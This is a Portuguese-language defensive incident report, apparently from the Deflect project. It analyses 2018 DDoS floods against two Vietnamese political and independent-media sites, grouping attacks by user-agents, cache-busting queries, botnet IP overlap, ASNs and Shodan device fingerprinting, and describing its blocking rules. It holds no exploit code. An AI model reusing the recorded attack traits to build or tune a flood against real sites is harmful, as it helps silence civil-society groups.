Identificação de grupos de ataques

Desde o início da análise, observamos algumas semelhanças entre os diferentes ataques, principalmente por meio dos agentes de usuário utilizados pelos diversos bots ou do caminho solicitado. Queríamos identificar rapidamente grupos de ataques que compartilhassem as mesmas Táticas, Técnicas e Procedimentos (TTP).

Descrevemos inicialmente suas características na tabela a seguir:

id	Meta	Hora de início	Hora de encerramento	#IP	#Acessos	Caminho	Agente do usuário	String de consulta
1	viettan.org	17/04/2018 08:20:00	17/04/2018 09:10:00	294	63 830	/	Por UA aleatória por IP	Nenhum
2	baotiengdan.com	17/04/2018 8h30min	17/04/2018 10:00:00	568	33 589	/	Um UA aleatório por IP	Nenhum
3	viettan.org	28/04/2018 00:00:00	04/05/2018 15:00:00	5001	2 257 509	/ ou /spip.php	Mozilla/5.0 (compatível; MSIE 10.0; Windows NT 6.2)	se for SPIP, /spip.php?page=email&id_article=10283
4	viettan.org	09/05/2018 02:30:00	09/05/2018 03:20:00	217	58 271	/	Uma UA por IP	Nenhum
5	baotiengdan.com	09/05/2018 08:30:00	09/05/2018 11:30:00	725	235 157	/	Um ou vários UA por IP	Nenhum
6	baotiengdan.com	23/05/2018 15:00:00	24/05/2018 09:30:00	557	2 957 065	/	Um UA aleatório por IP	Nenhum
7	baotiengdan.com	07/06/2018 01:45:00	07/06/2018 05:30:00	70	17 131	/	Um UA aleatório por IP	Nenhum
8	baotiengdan.com	10 de junho de 2018, 05:45:00	11 de junho de 2018, 06:30:00	349	5 214 730	/	python-requests/2.9.1	?&s=nguyenphutrong e curtidas aleatórias
9	viettan.org	12 de junho de 2018, às 05:00:00	12 de junho de 2018, 06:30:00	1	9 978	/	329 agentes de usuário diferentes	Curtida aleatória como ?x=%99%94%7E%85%7B%7E8D%96
10	baotiengdan.com	15 de junho de 2018, 13h00	15/06/2018 23:00:00	1	518 899	/	python-requests/2.9.1	?s=nguyenphutrong

A partir desta tabela, podemos observar que os incidentes 8 e 10 utilizam claramente a mesma ferramenta identificada pelo agente de usuário (python-requests/2.9.1) e realizam a mesma consulta específica/?&s=nguyenphutrongcom base no nome deNguyễn Phú Trọng, o atual secretário-geral do Partido Comunista do Vietnã. Reunimos esses dois ataques no Grupo C.

Os incidentes 3 e 9 apresentam características diferentes das demais; parece que utilizam duas ferramentas personalizadas distintas para ataques DDoS. Nós os separamos em dois grupos distintos, B e D (veja os detalhes na parte 2).

Ainda temos seis ataques diferentes que compartilham características comuns, mas não o suficiente para confirmar qualquer ligação entre eles. Todos eles fazem consultas à raiz “/”sem nenhuma string de consulta, o que é bastante comum em ataques DDoS. Eles utilizam User-Agents aleatórios para cada endereço IP, o que se assemelha bastante ao tráfego legítimo.

Identificação de endereços IP compartilhados

Queríamos verificar se esses diferentes ataques compartilhavam endereços IP; por isso, representamos tanto os endereços IP quanto os incidentes em um gráfico do Gephi para visualizar as ligações entre eles (os endereços IP são representados por pontos vermelhos e os incidentes por pontos verdes na figura a seguir):

Identificamos seis incidentes que compartilham endereços IP em comum em suas redes de bots e os apresentamos na tabela a seguir, intitulada “Endereços IP em comum entre incidentes”:

incidentes	Número de endereços IP	Intersection IP	% do total de endereços IP da botnet
6 e 1	557 e 294	5	1,70 %
6 e 4	557 e 217	6	2,76 %
6 e 7	557 e 70	3	4,29 %
6 e 5	557 e 725	8	1,44 %
6 e 2	557 e 568	1	0,18 %
1 e 4	294 e 217	1	0,46 %
1 e 7	294 e 70	2	2,86 %
1 e 5	294 e 725	9	3,06 %
1 e 2	294 e 568	155	52,72 %
4 e 7	217 e 70	2	2,86 %
4 e 5	217 e 725	14	6,45 %
4 e 2	217 e 568	1	0,46 %
7 e 5	70 e 725	1	1,43 %
7 e 2	70 e 568	1	1,43 %
5 e 2	725 e 568	22	3,87 %

Há uma forte sobreposição entre os bots utilizados nos Incidentes 1 e 2 (53%), o que é revelador, considerando que o Incidente 1 tem como alvo o site viettan.org e o Incidente 2, o site baotiengdan.com. Isso é um forte indício de que uma botnet semelhante foi usada para atacar esses dois domínios, especialmente porque os ataques foram orquestrados simultaneamente no dia 17 de abril.

Todos os demais ataques compartilham entre 1 e 22 endereços IP em comum (<10%), o que representa uma porcentagem bastante pequena de interseção e pode ter diferentes explicações. Por exemplo, o mesmo sistema pode ter sido comprometido por vários malwares diferentes, transformando-o em um bot, ou diferentes sistemas comprometidos podem estar por trás do mesmo IP público.

Identificação dos países de origem

Outro aspecto a se considerar é se esses endereços IP usados em diferentes ataques são provenientes dos mesmos países. Se considerarmos uma botnet que utilizaria métodos específicos para infectar sistemas finais, é provável que eles estejam distribuídos de forma desigual pelo mundo. Por exemplo, um ataque de phishing em um determinado idioma seria mais eficiente em um país onde esse idioma é falado, ou uma varredura em toda a Internet em busca de roteadores vulneráveis comprometeria mais dispositivos em países que utilizam o roteador visado.

Geolocalizamos esses endereços IP utilizandoo banco de dados GeoLiteda MaxMind e representamos a origem no gráfico a seguir (os países com menos de 5% dos endereços IP foram classificados como “Outros” para facilitar a visualização):

Além do Incidente 7, esses ataques apresentam claramente o mesmo perfil: entre 15% e 30% dos endereços IP são da Índia, entre 5% e 10% da Indonésia, seguidos pelas Filipinas ou pela Malásia. Surpreendentemente, o 7º incidente apresenta apenas um endereço IP proveniente da Índia (classificado como “Outros” neste gráfico), mas apresenta uma distribuição semelhante nos demais países. Portanto, a distribuição parece bastante semelhante.

Análise de user-agents

Outra característica interessante desses ataques é que cada endereço IP utiliza um único agente de usuário para todas as suas solicitações, provavelmente selecionado a partir de uma lista de agentes de usuário predefinidos. Listamos os agentes de usuário utilizados em diferentes incidentes e verificamos a semelhança entre essas listas:

incidentes	Número de UA	Número de UA idênticas	Porcentagem
6 e 2	68 e 40	29	72,50 %
6 e 1	68 e 54	32	59,26 %
6 e 5	68 e 97	40	58,82 %
6 e 4	68 e 57	32	56,14 %
6 e 7	68 e 38	34	89,47 %
2 e 1	40 e 54	23	57,50 %
2 e 5	40 e 97	27	67,50 %
2 e 4	40 e 57	17	42,50 %
2 e 7	40 e 38	27	71,05 %
1 e 5	54 e 97	32	59,26 %
1 e 4	54 e 57	29	53,70 %
1 e 7	54 e 38	28	73,68 %
5 e 4	97 e 57	34	59,65 %
5 e 7	97 e 38	31	81,58 %
4 e 7	57 e 38	24	63,16 %

Entre 42% e 81% dos agentes de usuário são comuns a cada par de incidentes. A baixa sobreposição entre dois incidentes pode ser devida tanto ao uso de versões diferentes da mesma ferramenta em ataques distintos quanto à interferência no tráfego legítimo.

Foram utilizados 15 agentes de usuário diferentes nos 6 incidentes:

User-Agent	Descrição
Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1	Firefox 5 no Windows XP
Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8	Firefox 3.6 no Ubuntu Linux 10
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/53.0.2785.116 Safari/537.36	Chrome 53 no Windows 10
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, como o Gecko) Chrome/53.0.2785.116 Safari/537.36	Chrome 53 no Windows 7
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/45.0.2454.101 Safari/537.36	Chrome 45 no Windows 7
Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0	Firefox 41 no Windows 8.1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/63.0.3239.84 Safari/537.36	Chrome 63 no Windows 10
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0	Firefox 41 no Windows 7
Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, como Gecko) Chrome/13.0.782.112 Safari/535.1	Chrome 13 no Windows Vista
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/53.0.2785.116 Safari/537.36	Chrome 53 no Mac OS X (El Capitan)
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1	Firefox 13 no Windows 7
Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02	Firefox 5 no Windows 7
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/63.0.3239.132 Safari/537.36	Chrome 63 no Windows 7
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/53.0.2785.116 Safari/537.36	Chrome 53 no Windows 10
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) semelhante ao Gecko	Internet Explorer 11 no Windows 7

Análise das características do tráfego

Há muito tempo, utilizamos ferramentas de visualização e aprendizado de máquina para analisar ataques DDoS (por exemplo, no relatório sobre os ataques contrao movimento Black Lives Matter). Consideramos mais confiável analisar as informações relativas à sessão completa de um endereço IP (todas as solicitações feitas por um endereço IP durante um determinado período) em vez de analisar cada solicitação individualmente. Assim, geramos características que descrevem cada sessão de IP e, em seguida, visualizamos e agrupamos esses IPs para identificar bots. Essa abordagem é realmente interessante para confirmar a ligação entre esses diferentes ataques; neste caso, estamos nos baseando nas quatro características a seguir para comparar as sessões dos diferentes grupos:

• Número de agentes de usuário diferentes utilizados
• Número de strings de consulta diferentes realizadas
• Número de caminhos diferentes consultados
• Tamanho das solicitações

Em primeiro lugar, podemos observar claramente que o Incidente 8 apresenta uma assinatura identificável devido ao uso de uma ferramenta criada especificamente para gerar user agents aleatórios e strings de consulta aleatórias (1.058 strings de consulta e 329 user agents):

Considerando outros ataques neste momento, a identificação não é tão clara, principalmente porque alguns endereços IP parecem realizar, ao mesmo tempo, tanto visitas legítimas ao site quanto ataques. Mas, para a maioria dos endereços IP, percebemos claramente que o número de strings de consulta e o tamanho da carga útil são fatores determinantes:

Resumo dos diferentes grupos de ataque

De modo geral, identificamos quatro grupos diferentes de ataques que compartilham as mesmas TTPs:

	Data	Meta	Grupo de Ataque
1	17/04/2018	viettan.org	Grupo A
2	17/04/2018	baotiengdan.com	Grupo A
3	04/05/2018	viettan.org	Grupo B
4	09/05/2018	viettan.org	Grupo A
5	09/05/2018	baotiengdan.com	Grupo A
6	23/05/2018	baotiengdan.com	Grupo A
7	07/06/2018	baotiengdan.com	Grupo A
8	10 de junho de 2018	baotiengdan.com	Grupo C
9	12 de junho de 2018	viettan.org	Grupo D
10	15/06/2018	baotiengdan.com	Grupo C

Vamos entrar em detalhes sobre o TTP de cada grupo:

• Grupo A: As TTPs desse grupo parecem ser bastante genéricas, e temos apenas uma confiança moderada de que os ataques estejam relacionados. Todos esses ataques utilizam a consulta “/” (o que é bastante comum), com um único user agent por IP (geralmente um user agent vazio). Os IPs desses grupos provêm da Ásia, principalmente da Índia, Indonésia, Filipinas ou Malásia. Os ataques desse grupo costumam reutilizar os mesmos agentes de usuário, o que pode indicar várias versões da mesma carga maliciosa.
• Grupo B: esse ataque utilizou o user-agentMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)para enviar uma solicitação GET / ou POST /spip.php?page=email&id_article=10283
• Grupo C: dois ataques com o user-agent python-requests/2.9.1 (indicando o uso de um script em Python com a bibliotecarequests) consultando ou /?&s=nguyenphutrong ou um termo de pesquisa aleatório como /?s=06I44M
• Grupo D: Um ataque com uma ferramenta que utiliza um valor aleatório de uma lista de 329 user-agents e strings de consulta aleatórias (como?x=%99%94%7E%85%7B%7E%8D%96) para contornar o cache

Análise de grupos de ataque

Grupo A

Os ataques do Grupo Aforam, sem dúvida, os mais frequentes que observamos desde abril, com seis ataques diferentes realizados nos sites do Việt Tân e do Tiếng Dân.

Dois incidentes simultâneos

No dia 9 de maio, por exemplo, observamos um pico no número de IPs bloqueados, primeiro em ataques contra o site viettan.org e, em seguida, contra o site baotiengdan.com:

Podemos confirmar que também houve um pico de tráfego nos dois sites:

Analisando o tráfego mais detalhadamente, percebemos que a maioria dos endereços IP responsáveis pela maior parte do tráfego está enviando solicitações apenas para o caminho/, como este IP 61.90.38.XXX, que realizou 4.253 solicitações GET para / com o agente de usuárioMozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1(esse agente de usuário indica que a solicitação veio de um navegador Firefox 13 no Windows 7; o Firefox 13 foi lançado em abril de 2012, sendo bastante improvável que alguém ainda o utilize hoje) ao longo de 30 minutos:

Identificamos como bots todos os endereços IP que apresentavam um número incomum de consultas à página “/” (mais de 90% do tráfego deles), e chegamos a uma lista de 217 endereços IP direcionados ao viettan.org e 725 endereços IP direcionados ao baotiengdan.com, com 14 em comum entre os dois incidentes.

Ao verificar onde esses endereços IP estão localizados, podemos ver que eles se encontram principalmente na Índia e na Indonésia:

Os 10 principais países:

• 243 Índia
• 138 Indonésia
• 61 Filipinas
• 34 Marrocos
• 34 Paquistão
• 29 Tailândia
• 27 Brasil
• 22 Vietnã
• 19 Argélia
• 19 Egito

Analisando a origem desses incidentes

Em seguida, quisemos entender qual é a origem desses incidentes e temos quatro hipóteses principais:

• Servidores alugados pelos invasores
• Servidores comprometidos
• Roteadores comprometidos
• Terminais comprometidos (estações de trabalho Windows, celulares Android etc.)

Agregamos os 2.212 endereços IP desses 6 incidentes e identificamos seu Sistema Autônomo. Para distinguir entre servidores e conexões de internet, utilizamos a classificação de Sistemas Autônomos do ipinfo.io:

• 1988 ISP
• 163 empresas
• 38 serviços de hospedagem
• 23 Desconhecido

Esse conjunto de endereços IP provém, em sua maioria, de redes de acesso pessoal à Internet em todo o mundo, seja de roteadores comprometidos ou de dispositivos finais comprometidos. Por muito tempo, a maioria das botnets era composta por sistemas Windows comprometidos, infectados por meio de worms, phishing ou aplicativos com backdoors. Desde 2016 e o surgimento dabotnet Mirai, ficou claro que as botnets da Internet das Coisas estão se tornando cada vez mais comuns, e temos observado regularmente o uso de roteadores ou câmeras digitais comprometidos em ataques DDoS.

A principal diferença entre esses dois casos é que os sistemas de IoT são acessíveis pela Internet e, muitas vezes, são comprometidos por meio de portas abertas. Para diferenciar esses dois casos, utilizamos dados dobanco de dados do Shodan. O Shodan é uma plataforma que realiza varreduras regulares em todos os endereços IPv4, procurando por portas específicas (a maioria delas exclusiva de dispositivos IoT) e armazenando os resultados em um banco de dados que pode ser consultado por meio de seumecanismo de buscaou de suaAPI. Implementamosum scriptque consulta a API do Shodan e utiliza assinaturas nos resultados para identificar sistemas em execução no endereço IP. Por exemplo, os roteadores MikroTik frequentemente expõem um servidor telnet, SNMP ou web, revelando a marca do roteador. Nosso script baixa dados do Shodan para um endereço IP e verifica se há correspondências com diferentes assinaturas de roteadores MikroTik. O Shodan permite obter dados históricos dessas varreduras; por isso, incluímos dados dos últimos 6 meses para cada endereço IP, a fim de maximizar as informações para identificar o sistema.

É claro que essa abordagem tem suas limitações, já que um roteador MikroTik pode ser seguro, mas estar encaminhando tráfego proveniente de um sistema final comprometido. No entanto, nossa hipótese é que, no caso de uma botnet de IoT, identificaríamos roteadores ou sistemas de IoT semelhantes para uma grande parte dos endereços IP.

Ao executar esse script em 2.212 endereços IP do grupo A, identificamos 381 roteadores, 77 gravadores de vídeo digitais e 50 roteadores entre esses 2.212 endereços IP. De acordo com o Shodan, 1.666 deles não apresentavam nenhuma porta aberta, o que tende a indicar que não se tratavam de servidores, mas sim de pontos de acesso à Internet profissionais ou pessoais. Portanto, nossa hipótese principal é que esses endereços IP sejam, em sua maioria, sistemas finais comprometidos (provavelmente sistemas Windows).

Quanto à localização, utilizamoso banco de dados GeoIP gratuitoda MaxMind para identificar o país de origem e constatamos que 50% dos endereços IP estão localizados na Índia, na Indonésia, no Brasil, nas Filipinas e no Paquistão.

Grupo B

O segundo grupo foi responsável por um ataque DDoS contra o site Viettan.org, ocorrido entre 29 de abril e 4 de maio, utilizando 5.000 endereços IP diferentes:

A ferramenta de ataque apresenta características específicas:

• Todos os bots estavam usando o mesmo User-Agent:Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
• Os bots estavam consultando apenas dois caminhos diferentes
  • GET/
  • POST /spip.php?page=email&id_article=10283 Parece que a consulta é direcionada a uma página no framework webSPIP, o que poderia explorar umavulnerabilidadeconhecida do SPIP, mas é curioso, pois o site viettan.org não utiliza o SPIP

Se analisarmos o Sistema Autônomo (AS) de cada endereço IP, verificamos que 97,7% deles provêm doAS 4134, que pertence à empresa estatalChina Telecom, responsável pelo acesso à Internet na China:

• 4885 ASN4134 CHINANET-BACKBONE Nº 31, Rua Jin-rong, CN
• 42 ASN62468 VPSQUAN – VpsQuan L.L.C., EUA
• 40 ASN55933 CLOUDIE-AS-AP Cloudie Limited, Hong Kong
• 20 ASN53755 IOFLOOD – Input Output Flood LLC, EUA
• 5 ASN38197 SUNHK-DATA-AS-AP Sun Network (Hong Kong) Limited – Backbone de Hong Kong, HK
• 3 ASN45102 CNNIC-ALIBABA-CN-NET-AP Alibaba (China) Technology Co., Ltd., CN
• 2 ASN9902 NEOCOMISP-KH-AP NEOCOMISP LIMITED, provedora de serviços de trânsito e rede IPTX no Camboja, KH
• 1 ASN9873 TELECOM-LA-AS-AP Lao Telecom Communication, LTC, LA
• 1 ASN132839 POWERLINE-AS-AP POWER LINE (HK) CO., LIMITED, HK
• 1 ASN58879 ANCHNET Shanghai Anchang Network Security Technology Co., Ltd., CN

Realizamos a identificação dos sistemas utilizando a ferramenta baseada no Shodan descrita na seção 2.1 e identificamos 901 sistemas como roteadores (sendo 884 deles roteadores Mikrotik) e 512 sistemas como servidores (principalmente servidores Windows e Ubuntu)

É interessante observar a presença de roteadores MikroTik aqui, já quemuitaspessoasnotaram que botnets comprometeram roteadores MikroTik em março deste ano, explorando algumasvulnerabilidades conhecidas. No entanto, os 884 roteadores MikroTik representam apenas 17,6% do número total de endereços IP envolvidos neste ataque. Nossa principal hipótese é que essa botnet seja composta principalmente por sistemas finais comprometidos (provavelmente Windows ou Android). Também é possível que tenhamos aqui uma botnet que utilize uma combinação de sistemas finais comprometidos e roteadores MikroTik comprometidos.

A característica mais surpreendente dessa botnet é que ela provém quase exclusivamente de um único Sistema Autônomo, o AS4134, o que não é comum em ataques DDoS (na maioria das vezes, os alvos estão distribuídos por diferentes países). Uma terceira hipótese é que esse tráfego possa ser resultado de uma injeção de tráfego pelo provedor de serviços de Internet, com o objetivo de fazer com que os clientes enviem solicitações a esse site. Esse tipo de ataque já havia sido identificado uma vez peloCitizen Labem 2015, norelatório “China’s Great Cannon”, contra os sites github.com e GreatFire.org. Consideramos essa terceira hipótese improvável, pois o ataque de 2015 é o único caso documentado desse tipo, e exigiria uma colaboração entre grupos vietnamitas — provavelmente na origem desses ataques — e esse provedor de Internet estatal chinês, para um ataque oneroso com pouco ou nenhum impacto no site visado.

Grupo C

O terceiro grupo consiste em dois ataques direcionados ao site baotiengdan.com, ocorridos nos dias 10 e 15 de junho, utilizando uma ferramenta especialmente criada para esse fim. Identificamos o problema pela primeira vez em 10 de junho de 2018, quando um pico de tráfego causou problemas no site. Rapidamente percebemos que havia um número significativo de solicitações provenientes de diferentes endereços IP, todas com o mesmo agente de usuário:python-requests/2.9.1

Mais de 5 milhões de solicitações foram feitas naquele dia por 349 endereços IP. Para contornar o armazenamento em cache feito pelo Deflect, os bots foram configurados para consultar a página de busca, metade deles com a mesma consulta/?&s=nguyenphutrong, que é uma pesquisa pelo nome deNguyen Phú Trọng, o atual secretário-geral do Partido Comunista do Vietnã. A outra metade dos bots realizava consultas de pesquisa aleatórias, como?s=046GYHou?s=04B9BV.

Esses 349 endereços IP estavam distribuídos por diferentes países (aqui são mencionados apenas os 10 principais):

• 56 Estados Unidos
• 43 Alemanha
• 35 Países Baixos
• 30 França
• 17 Romênia
• 16 Canadá
• 12 Suíça
• 11 China
• 10 Rússia
• 9 Bangladesh

Ao analisarmos mais detalhadamente os hosts, identificamos que 180 deles são, na verdade, nós de saída do Tor (a lista de nós de saída do Tor épública). Utilizamos a mesma técnica de identificação baseada no Shodan para identificar os demais hosts e descobrimos que 89 deles são roteadores (principalmente roteadores MikroTik) e 51 são servidores:

Essa combinação de roteadores e servidores é confirmada pela classificação AS do ipinfo.io para esses IPs que não pertencem à rede Tor:

• 68 ISP
• 52 Hosting
• 42 Negócios
• 7 Desconhecido

Portanto, esse ataque utilizou dois tipos diferentes de retransmissores ao mesmo tempo: arede Tore sistemas, roteadores ou servidores comprometidos.

O segundo ataque desse grupo foi surpreendentemente diferente: identificamos novamente um pico de tráfego no dia 15 de junho no site baotiengdan.com, proveniente de um único endereço IP, 66.70.255.195, que gerou 560.030 solicitações ao longo de um dia:

Esse tráfego certamente provinha do mesmo grupo de ataque, pois utilizava o mesmo agente de usuário (python-requests/2.9.1) e solicitava a mesma página/?s=nguyenphutrong.

O endereço IP66.70.255.195é um proxy HTTP aberto localizado na rede da OVH em Montreal e listado em diversos bancos de dados de proxies (comoo proxydbouo proxyservers). É surpreendente ver um proxy HTTP sendo usado aqui, considerando o ataque intenso realizado cinco dias antes pelo mesmo grupo. O uso de um proxy HTTP aberto certamente confere anonimato ao ataque, mas também limita a largura de banda do ataque à largura de banda do proxy (nesse caso, 5.000 solicitações por minuto, no máximo). Nossa hipótese é que um grupo de pessoas com diferentes habilidades e recursos esteja compartilhando a mesma ferramenta para atacar o site baotiengdan.com. Também é possível que uma pessoa ou um grupo esteja testando diferentes tipos de ataques para verificar qual é o mais eficaz.

Grupo D

O quarto grupo consiste apenas em um único ataque proveniente de um endereço IP no Vietnã, ocorrido em 12 de junho de 2018, quando observamos um pico de solicitações provenientes do IP 113.189.169.XXX no site viettan.org:

Esse ataque apresentava as seguintes características:

• Consulta / com uma consulta aleatória (como?%7F) para evitar o armazenamento em cache do Deflect
• Utilizando um agente de usuário aleatório de uma lista com 329 valores de agentes de usuário.

Essas são características bastante claras que não havíamos observado em outros ataques anteriormente. Esse endereço IP pertence aoAS 45899, gerenciado pela empresa estatalVietnam Posts and Telecommunications Group. Parece ser um acesso à Internet doméstico ou comercial comum em Haiphong, no Vietnã. Considerando o baixo nível do ataque, é perfeitamente possível que ele tenha partido de um indivíduo a partir de seu acesso à Internet pessoal ou profissional.

Vínculos com outros ataques

No dia 10 de julho, a Qurium publicouum relatório sobre ataques DDoS contra dois sites vietnamitas: luatkhoa.org e thevietnamese.org, ocorridos no dia 11 de junho de 2018. A Luật Khoa tạp chíé um meio de comunicação online que aborda temas jurídicos e direitos humanos em vietnamita.A The Vietnameseé uma revista online independente do Vietnã que tem como objetivo sensibilizar a comunidade internacional sobre a situação dos direitos humanos e a política no Vietnã.

A Qurium nos confirmou as listas de endereços IP responsáveis pela maior parte do tráfego durante esse ataque DDoS, e constatamos que quatro desses endereços IP também foram utilizados nos incidentes 1, 5, 6 e 7, todos pertencentes ao Grupo A.

Ao comparar a lista de user-agents apresentada no artigo com a lista de user-agents utilizados nos incidentes do Grupo A, observamos que entre 22 e 42 por cento são semelhantes:

Em comparação com os casos novos	Número de UA	Número de UA semelhantes	Porcentagem
1	54 e 42	16	38,10 %
2	42 e 40	9	22,50 %
4	57 e 42	15	35,71 %
5	97 e 42	18	42,86 %
6	68 e 42	14	33,33 %
7	42 e 38	11	28,95 %

Conforme descrito anteriormente, é difícil atribuir esses ataques ao mesmo grupo, mas eles definitivamente compartilham algumas TTPs semelhantes. O fato de se observarem ataques DDoS com TTPs semelhantes, realizados durante o mesmo período, visando quatro grupos políticos diferentes ou sites de mídia independente, confirma definitivamente a natureza coordenada desses ataques e seu interesse específico em atacar a mídia vietnamita e grupos da sociedade civil.

Mitigação

Nosso sistema de mitigação utiliza a ferramenta Banjax, um plug-in do Apache Traffic Server que desenvolvemos para identificar e bloquear bots com base em padrões de tráfego. Por exemplo, bloqueamos endereços IP que realizam um número excessivo de consultas à página /. Essa abordagem é eficiente na maioria dos casos, mas não quando o ataque DDoS provém de vários hosts que permanecem abaixo dos limites definidos pelo Banjax. Nesses diversos incidentes, metade deles foi mitigada automaticamente por nossas regras do Banjax. Para os demais incidentes, tivemos que adicionar manualmente novas regras ao Banjax ou ativar o desafio em JavaScript do Banjax, que exige que os navegadores realizem operações matemáticas antes de terem permissão para acessar o site (bloqueando, assim, todas as ferramentas automatizadas que não implementam JavaScript).

De modo geral, esses ataques causaram um tempo de inatividade limitado nos sites visados e, quando isso ocorreu, trabalhamos em colaboração com Viettan e Tieng Dan para mitigá-los o mais rápido possível.

Conclusão

Neste relatório, apresentamos os ataques direcionados aos sites do Việt Tân e do Tiếng Dân desde meados de abril deste ano. O relatório mostra que os ataques de negação de serviço distribuída (DDoS) continuam sendo uma ameaça à sociedade civil no Vietnã e que o DDoS ainda é utilizado para silenciar grupos políticos e a mídia independente na internet.

Do ponto de vista técnico, o ataque de inundação HTTP ainda é comumente utilizado em ataques DDoS e continua sendo bastante eficaz contra sites que não possuem soluções de filtragem. Investigar a origem desses ataques é uma missão contínua para nós, e estamos constantemente buscando novas maneiras de compreendê-los e classificá-los melhor.

Um dos objetivos da publicação desses relatórios é promover colaborações na análise de ataques DDoS contra a sociedade civil. Se você já observou ataques semelhantes ou se está trabalhando para proteger organizações da sociedade civil contra eles, entre em contato conosco pelo e-mail outreach AT equalit.ie

Agradecimentos

Gostaríamos de agradecer ao Việt Tân e ao Tiếng Dân pela ajuda e colaboração durante esta investigação. Agradecemos também ao ipinfo.io pelo apoio.

Apêndice

Indicadores de comprometimento

É comum compartilhar publicamente os Indicadores de Comprometimento (IOCs) em relatórios de ataques. Compartilhar IOCs relacionados a ataques DDoS é mais complexo, pois esses ataques costumam ser realizados por meio de retransmissores (sejam proxies ou sistemas comprometidos); portanto, compartilhar listas de endereços IP pode ter efeitos colaterais sobre as vítimas que não podemos controlar. Por isso, decidimos não compartilhar IOCs publicamente, mas estamos abertos a compartilhá-los de forma privada com organizações ou indivíduos que possam ser alvo desses mesmos grupos. Entre em contato conosco pelo e-mailoutreach AT equalit.ie.

Sistemas de identificação baseados em dados do Shodan

Conforme descrito anteriormente neste relatório, desenvolvemos um script para identificar sistemas com base nos dadosdo Shodan. Esse script está publicado noGitHube está disponível sob a licença MIT. Fique à vontade para abrir issues ou enviar Pull Requests.